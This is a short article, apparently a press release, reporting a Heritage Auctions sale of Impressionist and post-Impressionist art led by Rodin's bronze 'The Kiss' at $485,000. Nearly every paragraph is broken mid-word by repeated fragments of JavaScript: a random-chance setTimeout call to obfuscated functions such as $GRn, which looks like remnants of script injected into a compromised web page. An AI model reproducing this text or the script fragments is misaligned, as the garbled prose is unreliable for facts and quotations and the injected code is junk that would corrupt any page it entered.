DALLAS, TEXAS — Auguste Rodin’s 15¾-inch bronze sculpture “The Kiss,” which was discovered in a private collection in Amarillo, Texas, sold for $485,000 at Heritage Auctions. The rare andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and important bronze lead a more than $1.9 million selection of major Impressionist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and post-Impressionist paintings, sculpture, drawings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and prints November 8. Many of the auction’s top lots were discovered in private Texas collections.

 “It’s gratifying to be able to bring important works from Texas collections to the market,” said Brian Roughton, director of American andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and European art at Heritage. “It validates the high level of connoisseurship andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and world-class sophistication of collectors in this region.”

Two post-Impressionist pieces by Henri Martin, from an important private collection in San Antonio, enjoyed intense bidder interest, as “Petit bassin près de la tonnelle sud de Marquayrol (Jardin de l’Artiste)” or “Small Pond near the South Arbor Marquayrol (Garden of the Artist)” was a hit at $149,000, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Charmille,” went on to sell at $118,750. The November 8 auction marks the first time the two works have been seen by the market since the 1960s.

Works by School of Paris artists remain popular with bidders as Edouard-Léon Cortès’ “Place de la Republique, Paris,” from 1918, sold for $62,500 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Pierre Eugene Montezin’s “Le Casino,” a lively landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape of Cannes, took $59,375, more than doubled its estimate. Montezin’s “Les Paons,” a striking work depicting a male andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a female peacock from the esteemed collection of former Dallas Mayor Starke Taylor andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his wife, Carolyn, sold for a strong $43,750.

A few additional highlights include “Paysage d’Hiver á Chaponval” by Gustave Loiseau, which realized $53,125;  Camille Pizzarro’s “La ferme à Châtillon-sur-Seine,” went to $46,875 as did Henri Baptiste Lebasque’s “Nu allongé contre un lit.”

Prices reported include the buyer’s premium. For more information, www.ha.com or 800-872-6467.